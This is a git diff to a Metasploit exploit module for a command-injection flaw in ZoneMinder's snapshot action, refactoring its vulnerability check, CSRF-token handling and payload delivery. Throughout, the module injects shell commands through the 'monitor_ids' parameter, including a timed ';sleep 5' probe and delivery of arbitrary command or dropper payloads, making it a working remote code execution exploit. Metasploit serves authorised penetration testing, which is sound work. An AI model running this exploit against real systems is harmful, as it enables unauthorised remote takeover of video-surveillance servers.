diff --git a/modules/exploits/unix/webapp/zoneminder_snapshots.rb b/modules/exploits/unix/webapp/zoneminder_snapshots.rb index e22c1cbafc1a4..1e9b6475d1519 100644 --- a/modules/exploits/unix/webapp/zoneminder_snapshots.rb +++ b/modules/exploits/unix/webapp/zoneminder_snapshots.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # -# Copy it to: .msf4/modules/exploits/unix/webapp/zoneminder_snapshots.rb -# ## class MetasploitModule < Msf::Exploit::Remote @@ -57,7 +55,6 @@ def initialize(info = {}) } ], ], - 'Payload' => { 'BadChars' => "\x00" }, 'CmdStagerFlavor' => [ 'printf' ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-02-24', @@ -76,36 +73,36 @@ def initialize(info = {}) def check res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' ) return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 - if res.body =~ /ZoneMinder/ - csrf_magic = get_csrf_magic(res) - # This check executes a sleep-command and checks the response-time - sleep_time = 5 - data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}" - data += "&__csrf_magic=#{csrf_magic}" if csrf_magic - start = Time.now - send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/index.php'), - 'method' => 'POST', - 'data' => data.to_s, - 'keep_cookies' => true - ) - finish = Time.now - diff = finish - start - if diff > sleep_time - return Exploit::CheckCode::Appears - else - print_good(diff.to_s) - end - else + if res.body !~ /ZoneMinder/ return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') end + csrf_magic = get_csrf_magic(res) + # This check executes a sleep-command and checks the response-time + sleep_time = 5 + data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}" + data += "&__csrf_magic=#{csrf_magic}" if csrf_magic + start = Time.now + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s, + 'keep_cookies' => true + ) + finish = Time.now + diff = finish - start + if diff > sleep_time + return Exploit::CheckCode::Appears + else + print_good(diff.to_s) + end + Exploit::CheckCode::Safe('Target is not vulnerable') rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown('Could not connect to the web service') @@ -117,11 +114,9 @@ def execute_command(cmd, _opts = {}) data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}" data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', - 'data' => data.to_s, - 'keep_cookies' => true, - 'encode_params' => true + 'data' => data.to_s ) print_good('Payload sent') rescue ::Rex::ConnectionError @@ -133,30 +128,28 @@ def exploit print_status('Fetching CSRF Token') begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' ) - if res && res.code == 200 - # parse token - @csrf_magic = get_csrf_magic(res) - unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/ - fail_with(Failure::UnexpectedReply, 'Unable to parse token.') - end - else - fail_with(Failure::UnexpectedReply, 'Unable to fetch token.') - end - print_good('Got Token') - # send payload - print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") - case target['Type'] - when :unix_cmd - execute_command(payload.encoded) - when :linux_dropper - execute_cmdstager - end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Connection failed") end + + if res && res.code == 200 + # parse token + @csrf_magic = get_csrf_magic(res) + else + fail_with(Failure::UnexpectedReply, 'Unable to fetch token.') + end + print_good("Got Token: #{@csrf_magic}") + # send payload + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end end private @@ -164,6 +157,10 @@ def exploit def get_csrf_magic(res) return if res.nil? - res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text + token = res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text + unless token =~ /^key:[a-f0-9]{40},\d+/ + fail_with(Failure::UnexpectedReply, 'Unable to parse token.') + end + token end end